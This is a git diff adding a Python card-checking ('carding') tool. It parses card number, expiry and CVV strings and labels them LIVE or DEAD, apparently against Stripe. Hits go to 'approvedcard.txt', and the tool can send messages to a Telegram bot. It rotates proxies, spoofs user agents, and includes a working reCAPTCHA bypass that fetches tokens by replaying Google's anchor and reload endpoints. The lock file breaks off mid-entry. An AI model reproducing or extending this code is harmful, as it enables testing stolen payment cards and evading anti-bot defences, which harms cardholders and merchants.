MIN_THREADS, + DEFAULT_TIMEOUT, + OUTPUT_FILE +) +from .settings import Settings, settings + +__all__ = [ + 'MAX_THREADS', + 'DEFAULT_THREADS', + 'MIN_THREADS', + 'DEFAULT_TIMEOUT', + 'OUTPUT_FILE', + 'Settings', + 'settings', +] diff --git a/checker/src/checker/core/config.py b/checker/src/checker/core/config.py new file mode 100644 index 0000000..2dc53b8 --- /dev/null +++ b/checker/src/checker/core/config.py @@ -0,0 +1,16 @@ +"""核心配置常量""" + +# 线程配置 +MAX_THREADS = 3 +DEFAULT_THREADS = 1 +MIN_THREADS = 1 + +# 超时配置 +DEFAULT_TIMEOUT = 15 +RECAPTCHA_TIMEOUT = 20 + +# 输出文件 +OUTPUT_FILE = 'approvedcard.txt' + +# 许可证默认标签 +DEFAULT_LICENSE_LABEL = 'Stripeauth1' diff --git a/checker/src/checker/core/settings.py b/checker/src/checker/core/settings.py new file mode 100644 index 0000000..34480b2 --- /dev/null +++ b/checker/src/checker/core/settings.py @@ -0,0 +1,40 @@ +"""环境配置管理""" +import os +from typing import Optional + + +class Settings: + """应用配置""" + + def __init__(self): + """从环境变量加载配置""" + self.telegram_token: Optional[str] = os.getenv('TELEGRAM_TOKEN') + self.telegram_chat_id: Optional[str] = os.getenv('TELEGRAM_CHAT_ID') + self.max_threads: int = int(os.getenv('MAX_THREADS', '3')) + self.default_threads: int = int(os.getenv('DEFAULT_THREADS', '1')) + self.timeout: int = int(os.getenv('TIMEOUT', '15')) + self.output_file: str = os.getenv('OUTPUT_FILE', 'approvedcard.txt') + + @classmethod + def from_env(cls, env_file: str = '.env') -> 'Settings': + """从.env文件加载配置 + + Args: + env_file: .env文件路径 + + Returns: + Settings实例 + """ + if os.path.exists(env_file): + with open(env_file, 'r', encoding='utf-8') as f: + for line in f: + line = line.strip() + if line and not line.startswith('#') and '=' in line: + key, value = line.split('=', 1) + os.environ[key.strip()] = value.strip() + + return cls() + + +# 全局设置实例 +settings = Settings() diff --git a/checker/src/checker/integrations/__init__.py b/checker/src/checker/integrations/__init__.py new file mode 100644 index 0000000..f29827c --- /dev/null +++ b/checker/src/checker/integrations/__init__.py @@ -0,0 +1,11 @@ +"""集成模块""" +from .recaptcha import RecaptchaSolver +from .proxy import ProxyRotator, load_proxy_list +from .telegram import send_telegram_message + +__all__ = [ + 'RecaptchaSolver', + 'ProxyRotator', + 'load_proxy_list', + 'send_telegram_message', +] diff --git a/checker/src/checker/integrations/proxy/__init__.py b/checker/src/checker/integrations/proxy/__init__.py new file mode 100644 index 0000000..1488446 --- /dev/null +++ b/checker/src/checker/integrations/proxy/__init__.py @@ -0,0 +1,5 @@ +"""代理管理模块""" +from .rotator import ProxyRotator +from .loader import load_proxy_list + +__all__ = ['ProxyRotator', 'load_proxy_list'] diff --git a/checker/src/checker/integrations/proxy/loader.py b/checker/src/checker/integrations/proxy/loader.py new file mode 100644 index 0000000..c9aec6b --- /dev/null +++ b/checker/src/checker/integrations/proxy/loader.py @@ -0,0 +1,24 @@ +"""代理加载器""" +import os +from typing import List, Optional + + +def load_proxy_list(proxy_input: Optional[str]) -> List[str]: + """加载代理列表 + + Args: + proxy_input: 代理输入,可以是文件路径或逗号分隔的代理字符串 + + Returns: + 代理列表 + """ + if not proxy_input: + return [] + + # 如果是文件,读取文件内容 + if os.path.exists(proxy_input): + with open(proxy_input, 'r', encoding='utf-8') as f: + return [line.strip() for line in f if line.strip()] + + # 否则按逗号分割 + return [p.strip() for p in proxy_input.split(',') if p.strip()] diff --git a/checker/src/checker/integrations/proxy/rotator.py b/checker/src/checker/integrations/proxy/rotator.py new file mode 100644 index 0000000..020af5d --- /dev/null +++ b/checker/src/checker/integrations/proxy/rotator.py @@ -0,0 +1,38 @@ +"""代理轮换器""" +import itertools +from typing import Optional, Union, List, Dict + + +class ProxyRotator: + """代理轮换器,循环使用代理列表""" + + def __init__(self, proxies: Optional[Union[str, List[str]]]): + """初始化代理轮换器 + + Args: + proxies: 代理字符串或代理列表 + """ + # 如果传入的是单个字符串,转换成列表 + if isinstance(proxies, str): + proxies = [proxies] + + # 如果列表存在且不为空,创建无限循环迭代器 + if proxies: + self._proxies = itertools.cycle(proxies) + else: + self._proxies = None + + def get(self) -> Optional[Dict[str, str]]: + """获取下一个代理 + + Returns: + 代理字典,格式为 {'http': proxy, 'https': proxy} + 如果没有代理则返回None + """ + if self._proxies: + proxy = next(self._proxies) + return { + 'http': proxy, + 'https': proxy + } + return None diff --git a/checker/src/checker/integrations/recaptcha/__init__.py b/checker/src/checker/integrations/recaptcha/__init__.py new file mode 100644 index 0000000..bd324f9 --- /dev/null +++ b/checker/src/checker/integrations/recaptcha/__init__.py @@ -0,0 +1,4 @@ +"""reCAPTCHA集成模块""" +from .solver import RecaptchaSolver + +__all__ = ['RecaptchaSolver'] diff --git a/checker/src/checker/integrations/recaptcha/client.py b/checker/src/checker/integrations/recaptcha/client.py new file mode 100644 index 0000000..957ca16 --- /dev/null +++ b/checker/src/checker/integrations/recaptcha/client.py @@ -0,0 +1,96 @@ +"""reCAPTCHA HTTP客户端""" +import logging +import random +import re + +import requests + +from .constants import OLD_ANDROID_USER_AGENTS + +logger = logging.getLogger(__name__) + + +class RecaptchaClient: + """reCAPTCHA请求客户端""" + + def __init__(self, timeout, proxy_rotator): + """初始化客户端 + + Args: + timeout: 请求超时时间 + proxy_rotator: 代理轮换器实例 + """ + self.timeout = timeout + self.proxy_rotator = proxy_rotator + self.base_url = 'https://www.google.com/recaptcha' + + def _random_headers(self): + """生成随机请求头(伪装成旧版Android设备)""" + user_agent = random.choice(OLD_ANDROID_USER_AGENTS) + return { + 'Content-Type': 'application/x-www-form-urlencoded', + 'User-Agent': user_agent + } + + def _request(self, method, endpoint, **kwargs): + """发送HTTP请求 + + Args: + method: HTTP方法 + endpoint: API端点 + **kwargs: 额外的请求参数 + + Returns: + 响应文本,失败返回None + """ + url = f"{self.base_url}{endpoint}" + + kwargs.setdefault('timeout', self.timeout) + kwargs['headers'] = self._random_headers() + kwargs['proxies'] = self.proxy_rotator.get() + + try: + logger.debug('Recaptcha request %s %s params=%s', method, url, kwargs.get('params')) + response = requests.request(method, url, **kwargs) + response.raise_for_status() + logger.debug('Recaptcha response %s %s status=%s', method, url, response.status_code) + return response.text + except requests.RequestException as exc: + logger.warning('Recaptcha request failed %s %s: %s', method, url, exc) + return None + + def fetch_anchor_token(self, api_type, params): + """获取anchor token + + Args: + api_type: API类型 (api2/enterprise) + params: 请求参数 + + Returns: + HTML响应文本 + """ + return self._request('GET', f'/{api_type}/anchor', params=params) + + def fetch_recaptcha_token(self, api_type, site_key, payload): + """获取最终的reCAPTCHA token + + Args: + api_type: API类型 + site_key: 站点密钥 + payload: POST数据 + + Returns: + token字符串,失败返回None + """ + text = self._request( + 'POST', + f'/{api_type}/reload', + params={'k': site_key}, + data=payload + ) + + if text: + match = re.search(r'"rresp","(.*?)"', text) + if match: + return match.group(1) + return None diff --git a/checker/src/checker/integrations/recaptcha/constants.py b/checker/src/checker/integrations/recaptcha/constants.py new file mode 100644 index 0000000..b169bff --- /dev/null +++ b/checker/src/checker/integrations/recaptcha/constants.py @@ -0,0 +1,9 @@ +"""旧版Android User-Agent常量""" + +OLD_ANDROID_USER_AGENTS = [ + "Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", + "Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Nexus 7 Build/JRO03D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30", + "Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", + "Mozilla/5.0 (Linux; U; Android 3.2; en-us; Xoom Build/HTK75D) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13", + "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36" +] diff --git a/checker/src/checker/integrations/recaptcha/solver.py b/checker/src/checker/integrations/recaptcha/solver.py new file mode 100644 index 0000000..22118f7 --- /dev/null +++ b/checker/src/checker/integrations/recaptcha/solver.py @@ -0,0 +1,149 @@ +"""reCAPTCHA求解器""" +import logging +import re +from time import sleep + +from .client import RecaptchaClient + +logger = logging.getLogger(__name__) + + +class RecaptchaSolver: + """同步reCAPTCHA求解器""" + + MAX_RETRIES = 20 + RETRY_DELAY = 1 + + def __init__(self, timeout, proxy_rotator): + """初始化求解器 + + Args: + timeout: 请求超时时间 + proxy_rotator: 代理轮换器实例 + """ + self.client = RecaptchaClient(timeout=timeout, proxy_rotator=proxy_rotator) + + @staticmethod + def _parse_api_type(anchor_url): + """解析API类型 + + Args: + anchor_url: anchor URL + + Returns: + (api_type, params_string) 元组 + """ + match = re.search(r'(api2|enterprise)/anchor\?(.*)', anchor_url) + if match: + return match.group(1), match.group(2) + return None, None + + @staticmethod + def _extract_c_value(html): + """从HTML中提取c值(session token) + + Args: + html: HTML响应文本 + + Returns: + c值字符串 + """ + match = re.search(r'value="(.*?)"', html) + if match: + return match.group(1) + return None + + @staticmethod + def _parse_params(param_str): + """解析URL参数字符串 + + Args: + param_str: 参数字符串,如 "k=xxx&co=yyy" + + Returns: + 参数字典 + """ + params = {} + if param_str: + for pair in param_str.split('&'): + if '=' in pair: + key, value = pair.split('=', 1) + params[key] = value + return params + + def _build_payload(self, params, c_value): + """构造请求载荷 + + Args: + params: 参数字典 + c_value: session token + + Returns: + POST数据字符串 + """ + return ( + f"v={params.get('v')}&" + f"reason=q&" + f"c={c_value}&" + f"k={params.get('k')}&" + f"co={params.get('co')}" + ) + + def solve(self, anchor_url): + """求解reCAPTCHA + + Args: + anchor_url: reCAPTCHA anchor URL + + Returns: + reCAPTCHA token字符串 + + Raises: + ValueError: URL格式无效 + RuntimeError: 超过最大重试次数 + """ + api_type, param_str = self._parse_api_type(anchor_url) + if not param_str: + logger.error('Invalid anchor URL provided: %s', anchor_url) + raise ValueError('Invalid anchor URL format.') + + params = self._parse_params(param_str) + logger.debug('Recaptcha solve start api_type=%s params=%s', api_type, params) + + # 重试循环 + for attempt in range(1, self.MAX_RETRIES + 1): + logger.debug('Recaptcha attempt %d/%d', attempt, self.MAX_RETRIES) + + # 1. 获取anchor token + anchor_html = self.client.fetch_anchor_token(api_type, params) + if not anchor_html: + logger.debug('Anchor response empty, retrying...') + sleep(self.RETRY_DELAY) + continue + + # 2. 提取session token + c_value = self._extract_c_value(anchor_html) + if not c_value: + logger.debug('Failed to extract c value from anchor response.') + sleep(self.RETRY_DELAY) + continue + + # 3. 构造载荷 + payload = self._build_payload(params, c_value) + logger.debug('Payload prepared with keys: %s', list(params.keys())) + + # 4. 获取最终token + token = self.client.fetch_recaptcha_token( + api_type, + params.get('k'), + payload + ) + + if token: + logger.info('Recaptcha solved in %d attempt(s).', attempt) + return token + + sleep(self.RETRY_DELAY) + + logger.error('Failed to solve reCAPTCHA after %d attempts.', self.MAX_RETRIES) + raise RuntimeError('Failed to solve reCAPTCHA after maximum retries.') diff --git a/checker/src/checker/integrations/telegram/__init__.py b/checker/src/checker/integrations/telegram/__init__.py new file mode 100644 index 0000000..010670b --- /dev/null +++ b/checker/src/checker/integrations/telegram/__init__.py @@ -0,0 +1,4 @@ +"""Telegram集成模块""" +from .notifier import send_telegram_message + +__all__ = ['send_telegram_message'] diff --git a/checker/src/checker/integrations/telegram/notifier.py b/checker/src/checker/integrations/telegram/notifier.py new file mode 100644 index 0000000..93338a2 --- /dev/null +++ b/checker/src/checker/integrations/telegram/notifier.py @@ -0,0 +1,37 @@ +"""Telegram通知发送器""" +import requests +from typing import Optional + + +def send_telegram_message( + bot_token: str, + chat_id: str, + text: str, + timeout: int = 10 +) -> bool: + """发送Telegram消息 + + Args: + bot_token: Telegram bot token + chat_id: 聊天ID + text: 消息文本 + timeout: 超时时间(秒) + + Returns: + 是否发送成功 + """ + if not bot_token or not chat_id: + return False + + try: + url = f'https://api.telegram.org/bot{bot_token}/sendMessage' + payload = { + 'chat_id': chat_id, + 'text': text, + 'parse_mode': 'HTML', + 'disable_web_page_preview': True + } + requests.post(url, json=payload, timeout=timeout) + return True + except Exception: + return False diff --git a/checker/src/checker/models/__init__.py b/checker/src/checker/models/__init__.py new file mode 100644 index 0000000..b696e11 --- /dev/null +++ b/checker/src/checker/models/__init__.py @@ -0,0 +1,11 @@ +"""数据模型模块""" +from .card import Card +from .bin_info import BinInfo +from .result import CheckResult, CheckStatus + +__all__ = [ + 'Card', + 'BinInfo', + 'CheckResult', + 'CheckStatus', +] diff --git a/checker/src/checker/models/bin_info.py b/checker/src/checker/models/bin_info.py new file mode 100644 index 0000000..f6fea8b --- /dev/null +++ b/checker/src/checker/models/bin_info.py @@ -0,0 +1,22 @@ +"""BIN信息模型""" +from dataclasses import dataclass +from typing import Optional + + +@dataclass +class BinInfo: + """BIN(Bank Identification Number)信息""" + bin: str + brand: str = 'UNKNOWN' + country: str = 'UNKNOWN' + country_flag: str = 'UNKNOWN' + bank: str = 'UNKNOWN' + card_type: str = 'UNKNOWN' + level: str = 'UNKNOWN' + + def __str__(self) -> str: + """格式化显示""" + return ( + f"{self.brand} {self.card_type} {self.level} | " + f"{self.bank} | {self.country} {self.country_flag}" + ) diff --git a/checker/src/checker/models/card.py b/checker/src/checker/models/card.py new file mode 100644 index 0000000..d2732f7 --- /dev/null +++ b/checker/src/checker/models/card.py @@ -0,0 +1,46 @@ +"""卡片数据模型""" +from dataclasses import dataclass +from typing import Optional + + +@dataclass +class Card: + """信用卡数据模型""" + number: str + month: str + year: str + cvv: str + + @property + def bin(self) -> str: + """获取BIN(前6位)""" + return self.number[:6] + + @property + def formatted(self) -> str: + """格式化为标准字符串""" + return f"{self.number}|{self.month}|{self.year[-2:]}|{self.cvv}" + + @staticmethod + def parse(card_string: str) -> Optional['Card']: + """从字符串解析卡片信息 + + Args: + card_string: 格式为 "number|mm|yyyy|cvv" 的字符串 + + Returns: + Card对象,解析失败返回None + """ + try: + parts = [s.strip() for s in card_string.strip().split('|')] + if len(parts) != 4: + return None + + number, month, year, cvv = parts + month = month.zfill(2) + year = str(year).zfill(4) if len(year) == 2 else year + cvv = cvv[:4] + + return Card(number=number, month=month, year=year, cvv=cvv) + except (ValueError, IndexError): + return None diff --git a/checker/src/checker/models/result.py b/checker/src/checker/models/result.py new file mode 100644 index 0000000..429f12e --- /dev/null +++ b/checker/src/checker/models/result.py @@ -0,0 +1,37 @@ +"""检测结果模型""" +from dataclasses import dataclass +from enum import Enum +from typing import Optional + +from .card import Card +from .bin_info import BinInfo + + +class CheckStatus(Enum): + """检测状态枚举""" + LIVE = "LIVE" + DEAD = "DEAD" + UNKNOWN = "UNKNOWN" + + +@dataclass +class CheckResult: + """卡片检测结果""" + card: Card + status: CheckStatus + message: str + bin_info: Optional[BinInfo] = None + + @property + def is_live(self) -> bool: + """是否为活卡""" + return self.status == CheckStatus.LIVE + + @property + def is_dead(self) -> bool: + """是否为死卡""" + return self.status == CheckStatus.DEAD + + def __str__(self) -> str: + """格式化显示""" + return f"{self.card.formatted} - {self.status.value} - {self.message}" diff --git a/checker/src/checker/utils/__init__.py b/checker/src/checker/utils/__init__.py new file mode 100644 index 0000000..06ac363 --- /dev/null +++ b/checker/src/checker/utils/__init__.py @@ -0,0 +1,14 @@ +"""工具函数模块""" +from .time import format_ts, sleep_random +from .security import generate_password +from .strings import gstr +from .http import get_random_ua, UA + +__all__ = [ + 'format_ts', + 'sleep_random', + 'generate_password', + 'gstr', + 'get_random_ua', + 'UA', +] diff --git a/checker/src/checker/utils/http.py b/checker/src/checker/utils/http.py new file mode 100644 index 0000000..8412c3e --- /dev/null +++ b/checker/src/checker/utils/http.py @@ -0,0 +1,28 @@ +"""HTTP相关工具函数""" +import random + + +# User-Agent列表 +UA = ( + # Desktop Chrome (macOS) + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36', + # Desktop Chrome (Windows) + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36', + # Desktop Edge (Windows) + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0', + # Desktop Chrome (Linux) + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36', + # Desktop Firefox (macOS) + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0', + # Desktop Firefox (Windows) + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0' +) + + +def get_random_ua(): + """获取随机User-Agent + + Returns: + 随机选择的User-Agent字符串 + """ + return random.choice(UA) diff --git a/checker/src/checker/utils/security.py b/checker/src/checker/utils/security.py new file mode 100644 index 0000000..8e87595 --- /dev/null +++ b/checker/src/checker/utils/security.py @@ -0,0 +1,43 @@ +"""安全相关工具函数""" +import random +import string + + +def generate_password(min_length, max_length): + """生成随机强密码 + + Args: + min_length: 最小长度 + max_length: 最大长度 + + Returns: + 生成的密码字符串 + """ + # 确定密码长度 + length = random.randint(min_length, max_length) + + # 定义字符集 + lower = string.ascii_lowercase + upper = string.ascii_uppercase + digits = string.digits + symbols = '!@#$%^&*()-_=+[]{}|;:,.<>?/' + + # 初始化密码列表,强制包含每种类型至少一个字符 + password = [ + random.choice(lower), + random.choice(upper), + random.choice(digits), + random.choice(symbols) + ] + + # 组合所有可用字符 + all_chars = lower + upper + digits + symbols + + # 填充剩余长度 + password += random.choices(all_chars, k=length - len(password)) + + # 打乱字符顺序 + random.shuffle(password) + + # 拼接成字符串并返回 + return ''.join(password) diff --git a/checker/src/checker/utils/strings.py b/checker/src/checker/utils/strings.py new file mode 100644 index 0000000..66ab941 --- /dev/null +++ b/checker/src/checker/utils/strings.py @@ -0,0 +1,30 @@ +"""字符串处理工具函数""" + + +def gstr(text, prefix, suffix): + """从文本中提取指定前缀和后缀之间的字符串 + + Args: + text: 源文本 + prefix: 前缀字符串 + suffix: 后缀字符串 + + Returns: + 提取的字符串,如果未找到则返回空字符串 + """ + # 检查前缀是否存在 + if prefix not in text: + return '' + + # 计算截取的起始位置 + start = text.find(prefix) + len(prefix) + + # 查找后缀的位置 + end = text.find(suffix, start) + + # 如果找到后缀,则切片返回内容 + if end != -1: + return text[start:end] + + # 如果没找到后缀,返回空字符串 + return '' diff --git a/checker/src/checker/utils/time.py b/checker/src/checker/utils/time.py new file mode 100644 index 0000000..f86a2af --- /dev/null +++ b/checker/src/checker/utils/time.py @@ -0,0 +1,32 @@ +"""时间相关工具函数""" +import random +import time +from datetime import timezone + + +def format_ts(dt, *, fmt='%Y-%m-%dT%H:%M:%SZ'): + """格式化时间戳为UTC格式 + + Args: + dt: datetime对象 + fmt: 格式化字符串 + + Returns: + 格式化后的时间字符串 + """ + return dt.astimezone(timezone.utc).strftime(fmt) + + +def sleep_random(min_seconds, max_seconds): + """随机延迟 + + Args: + min_seconds: 最小秒数 + max_seconds: 最大秒数 + + Returns: + 实际延迟的秒数 + """ + delay = random.uniform(min_seconds, max_seconds) + time.sleep(delay) + return delay diff --git a/checker/tests/conftest.py b/checker/tests/conftest.py new file mode 100644 index 0000000..2fb19e0 --- /dev/null +++ b/checker/tests/conftest.py @@ -0,0 +1,27 @@ +"""测试配置文件""" +import pytest +import requests +from checker import Card, StripeChecker + + +@pytest.fixture +def sample_card(): + """示例卡片fixture""" + return Card( + number="4111111111111111", + month="12", + year="2025", + cvv="123" + ) + + +@pytest.fixture +def session(): + """HTTP会话fixture""" + return requests.Session() + + +@pytest.fixture +def checker(): + """检测器fixture""" + return StripeChecker(timeout=15, max_retries=3) diff --git a/checker/tests/test_cards_parser.py b/checker/tests/test_cards_parser.py new file mode 100644 index 0000000..ddbbef3 --- /dev/null +++ b/checker/tests/test_cards_parser.py @@ -0,0 +1,39 @@ +"""测试卡片解析器""" +from checker.cards import parse_card_file, deduplicate_cards +from checker import Card + + +def test_card_parse(): + """测试卡片解析""" + card_string = "4111111111111111|12|2025|123" + card = Card.parse(card_string) + + assert card is not None + assert card.number == "4111111111111111" + assert card.month == "12" + assert card.year == "2025" + assert card.cvv == "123" + + +def test_card_bin(): + """测试BIN提取""" + card = Card(number="4111111111111111", month="12", year="2025", cvv="123") + assert card.bin == "411111" + + +def test_card_formatted(): + """测试格式化输出""" + card = Card(number="4111111111111111", month="12", year="2025", cvv="123") + assert card.formatted == "4111111111111111|12|25|123" + + +def test_deduplicate_cards(): + """测试去重""" + cards = [ + Card(number="4111111111111111", month="12", year="2025", cvv="123"), + Card(number="4111111111111111", month="12", year="2025", cvv="123"), + Card(number="5555555555554444", month="11", year="2024", cvv="456"), + ] + + unique = deduplicate_cards(cards) + assert len(unique) == 2 diff --git a/checker/uv.lock b/checker/uv.lock new file mode 100644 index 0000000..95c2bbd --- /dev/null +++ b/checker/uv.lock @@ -0,0 +1,735 @@ +version = 1 +revision = 3 +requires-python = ">=3.10" + +[[package]] +name = "black" +version = "25.12.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "mypy-extensions" }, + { name = "packaging" }, + { name = "pathspec" }, + { name = "platformdirs" }, + { name = "pytokens" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c4/d9/07b458a3f1c525ac392b5edc6b191ff140b596f9d77092429417a54e249d/black-25.12.0.tar.gz", hash = "sha256:8d3dd9cea14bff7ddc0eb243c811cdb1a011ebb4800a5f0335a01a68654796a7", size = 659264, upload-time = "2025-12-08T01:40:52.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/37/d5/8d3145999d380e5d09bb00b0f7024bf0a8ccb5c07b5648e9295f02ec1d98/black-25.12.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f85ba1ad15d446756b4ab5f3044731bf68b777f8f9ac9cdabd2425b97cd9c4e8", size = 1895720, upload-time = "2025-12-08T01:46:58.197Z" }, + { url = "https://files.pythonhosted.org/packages/06/97/7acc85c4add41098f4f076b21e3e4e383ad6ed0a3da26b2c89627241fc11/black-25.12.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:546eecfe9a3a6b46f9d69d8a642585a6eaf348bcbbc4d87a19635570e02d9f4a", size = 1727193, upload-time = "2025-12-08T01:52:26.674Z" }, + { url = "https://files.pythonhosted.org/packages/24/f0/fdf0eb8ba907ddeb62255227d29d349e8256ef03558fbcadfbc26ecfe3b2/black-25.12.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:17dcc893da8d73d8f74a596f64b7c98ef5239c2cd2b053c0f25912c4494bf9ea", size = 1774506, upload-time = "2025-12-08T01:46:25.721Z" }, + { url = "https://files.pythonhosted.org/packages/e4/f5/9203a78efe00d13336786b133c6180a9303d46908a9aa72d1104ca214222/black-25.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:09524b0e6af8ba7a3ffabdfc7a9922fb9adef60fed008c7cd2fc01f3048e6e6f", size = 1416085, upload-time = "2025-12-08T01:46:06.073Z" }, + { url = "https://files.pythonhosted.org/packages/ba/cc/7a6090e6b081c3316282c05c546e76affdce7bf7a3b7d2c3a2a69438bd01/black-25.12.0-cp310-cp310-win_arm64.whl", hash = "sha256:b162653ed89eb942758efeb29d5e333ca5bb90e5130216f8369857db5955a7da", size = 1226038, upload-time = "2025-12-08T01:45:29.388Z" }, + { url = "https://files.pythonhosted.org/packages/60/ad/7ac0d0e1e0612788dbc48e62aef8a8e8feffac7eb3d787db4e43b8462fa8/black-25.12.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d0cfa263e85caea2cff57d8f917f9f51adae8e20b610e2b23de35b5b11ce691a", size = 1877003, upload-time = "2025-12-08T01:43:29.967Z" }, + { url = "https://files.pythonhosted.org/packages/e8/dd/a237e9f565f3617a88b49284b59cbca2a4f56ebe68676c1aad0ce36a54a7/black-25.12.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1a2f578ae20c19c50a382286ba78bfbeafdf788579b053d8e4980afb079ab9be", size = 1712639, upload-time = "2025-12-08T01:52:46.756Z" }, + { url = "https://files.pythonhosted.org/packages/12/80/e187079df1ea4c12a0c63282ddd8b81d5107db6d642f7d7b75a6bcd6fc21/black-25.12.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d3e1b65634b0e471d07ff86ec338819e2ef860689859ef4501ab7ac290431f9b", size = 1758143, upload-time = "2025-12-08T01:45:29.137Z" }, + { url = "https://files.pythonhosted.org/packages/93/b5/3096ccee4f29dc2c3aac57274326c4d2d929a77e629f695f544e159bfae4/black-25.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:a3fa71e3b8dd9f7c6ac4d818345237dfb4175ed3bf37cd5a581dbc4c034f1ec5", size = 1420698, upload-time = "2025-12-08T01:45:53.379Z" }, + { url = "https://files.pythonhosted.org/packages/7e/39/f81c0ffbc25ffbe61c7d0385bf277e62ffc3e52f5ee668d7369d9854fadf/black-25.12.0-cp311-cp311-win_arm64.whl", hash = "sha256:51e267458f7e650afed8445dc7edb3187143003d52a1b710c7321aef22aa9655", size = 1229317, upload-time = "2025-12-08T01:46:35.606Z" }, + { url = "https://files.pythonhosted.org/packages/d1/bd/26083f805115db17fda9877b3c7321d08c647df39d0df4c4ca8f8450593e/black-25.12.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:31f96b7c98c1ddaeb07dc0f56c652e25bdedaac76d5b68a059d998b57c55594a", size = 1924178, upload-time = "2025-12-08T01:49:51.048Z" }, + { url = "https://files.pythonhosted.org/packages/89/6b/ea00d6651561e2bdd9231c4177f4f2ae19cc13a0b0574f47602a7519b6ca/black-25.12.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:05dd459a19e218078a1f98178c13f861fe6a9a5f88fc969ca4d9b49eb1809783", size = 1742643, upload-time = "2025-12-08T01:49:59.09Z" }, + { url = "https://files.pythonhosted.org/packages/6d/f3/360fa4182e36e9875fabcf3a9717db9d27a8d11870f21cff97725c54f35b/black-25.12.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c1f68c5eff61f226934be6b5b80296cf6939e5d2f0c2f7d543ea08b204bfaf59", size = 1800158, upload-time = "2025-12-08T01:44:27.301Z" }, + { url = "https://files.pythonhosted.org/packages/f8/08/2c64830cb6616278067e040acca21d4f79727b23077633953081c9445d61/black-25.12.0-cp312-cp312-win_amd64.whl", hash = "sha256:274f940c147ddab4442d316b27f9e332ca586d39c85ecf59ebdea82cc9ee8892", size = 1426197, upload-time = "2025-12-08T01:45:51.198Z" }, + { url = "https://files.pythonhosted.org/packages/d4/60/a93f55fd9b9816b7432cf6842f0e3000fdd5b7869492a04b9011a133ee37/black-25.12.0-cp312-cp312-win_arm64.whl", hash = "sha256:169506ba91ef21e2e0591563deda7f00030cb466e747c4b09cb0a9dae5db2f43", size = 1237266, upload-time = "2025-12-08T01:45:10.556Z" }, + { url = "https://files.pythonhosted.org/packages/c8/52/c551e36bc95495d2aa1a37d50566267aa47608c81a53f91daa809e03293f/black-25.12.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:a05ddeb656534c3e27a05a29196c962877c83fa5503db89e68857d1161ad08a5", size = 1923809, upload-time = "2025-12-08T01:46:55.126Z" }, + { url = "https://files.pythonhosted.org/packages/a0/f7/aac9b014140ee56d247e707af8db0aae2e9efc28d4a8aba92d0abd7ae9d1/black-25.12.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9ec77439ef3e34896995503865a85732c94396edcc739f302c5673a2315e1e7f", size = 1742384, upload-time = "2025-12-08T01:49:37.022Z" }, + { url = "https://files.pythonhosted.org/packages/74/98/38aaa018b2ab06a863974c12b14a6266badc192b20603a81b738c47e902e/black-25.12.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e509c858adf63aa61d908061b52e580c40eae0dfa72415fa47ac01b12e29baf", size = 1798761, upload-time = "2025-12-08T01:46:05.386Z" }, + { url = "https://files.pythonhosted.org/packages/16/3a/a8ac542125f61574a3f015b521ca83b47321ed19bb63fe6d7560f348bfe1/black-25.12.0-cp313-cp313-win_amd64.whl", hash = "sha256:252678f07f5bac4ff0d0e9b261fbb029fa530cfa206d0a636a34ab445ef8ca9d", size = 1429180, upload-time = "2025-12-08T01:45:34.903Z" }, + { url = "https://files.pythonhosted.org/packages/e6/2d/bdc466a3db9145e946762d52cd55b1385509d9f9004fec1c97bdc8debbfb/black-25.12.0-cp313-cp313-win_arm64.whl", hash = "sha256:bc5b1c09fe3c931ddd20ee548511c64ebf964ada7e6f0763d443947fd1c603ce", size = 1239350, upload-time = "2025-12-08T01:46:09.458Z" }, + { url = "https://files.pythonhosted.org/packages/35/46/1d8f2542210c502e2ae1060b2e09e47af6a5e5963cb78e22ec1a11170b28/black-25.12.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = 